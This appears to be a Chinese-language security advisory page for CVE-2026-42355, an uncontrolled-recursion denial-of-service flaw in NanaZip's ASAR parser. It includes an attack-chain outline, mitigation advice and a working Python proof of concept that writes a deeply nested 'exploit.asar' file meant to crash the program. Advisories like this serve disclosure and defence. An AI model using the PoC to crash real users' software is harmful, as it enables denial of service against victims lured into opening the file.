IPBUF安全漏洞报告
English
CVE-2026-42355 CVSS 3.3 低危

CVE-2026-42355 NanaZip ASAR解析器未控制递归漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-42355
漏洞类型
拒绝服务
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
NanaZip

相关标签

拒绝服务NanaZip递归漏洞栈溢出CVE-2026-42355

漏洞概述

NanaZip是一款开源文件归档工具,其在5.0.1252.0至6.0.1698.0之前的版本中存在未控制递归漏洞。当软件打开包含深度嵌套JSON结构的恶意.asar文件时,解析器会无限递归导致线程栈耗尽,进而引发NanaZip进程崩溃。

技术细节

该漏洞源于NanaZip处理Electron Archive (ASAR)文件时的逻辑缺陷。在解析.asar文件头部的JSON元数据时,使用的nlohmann::json::parse库以及后续的GetAllPaths函数未对递归深度进行安全限制。攻击者可以构造一个包含极深嵌套层级的恶意JSON文件。当用户打开此文件时,程序会尝试递归遍历JSON树,导致调用栈不断增长直至超过线程栈容量。这种栈溢出会导致程序立即崩溃,造成拒绝服务。由于攻击向量为本地且需要用户交互,攻击者需诱导受害者打开特制文件才能触发该漏洞。

攻击链分析

STEP 1
步骤1:构造恶意文件
攻击者编写脚本生成包含深度嵌套JSON结构的恶意.asar文件。
STEP 2
步骤2:分发文件
攻击者通过邮件或其他方式将恶意.asar文件发送给目标用户。
STEP 3
步骤3:诱导交互
诱导目标用户使用存在漏洞的NanaZip版本打开该恶意文件。
STEP 4
步骤4:触发崩溃
NanaZip解析器在解析JSON时耗尽栈空间,导致进程崩溃,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json import struct import os # Create a deeply nested JSON structure to trigger stack overflow deep_json = {} current = deep_json # Set recursion depth (e.g., 10000) to exceed stack limit recursion_depth = 10000 for _ in range(recursion_depth): current["next"] = {} current = current["next"] current["payload"] = "crash" # Convert to JSON string json_str = json.dumps(deep_json, separators=(',', ':')) # ASAR file format: 4-byte size (little endian) + JSON + file content header_size = len(json_str) header = struct.pack("<I", header_size) + json_str.encode('utf-8') # Write the crafted ASAR file filename = "exploit.asar" with open(filename, "wb") as f: f.write(header) # Append dummy content f.write(b"MALICIOUS_CONTENT") print(f"[+] Crafted ASAR file saved as {filename}") print(f"[+] JSON nesting depth: {recursion_depth}") print("[+] Open this file with a vulnerable version of NanaZip to trigger the crash.")

影响范围

NanaZip 5.0.1252.0 至 6.0.1698.0 之前

防御指南

临时缓解措施
建议用户立即将NanaZip更新至最新版本以修复此漏洞。在无法立即更新的情况下,应避免使用NanaZip打开未知的.asar文件,并从可信渠道获取软件压缩包,以防止本地拒绝服务攻击导致程序意外终止。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表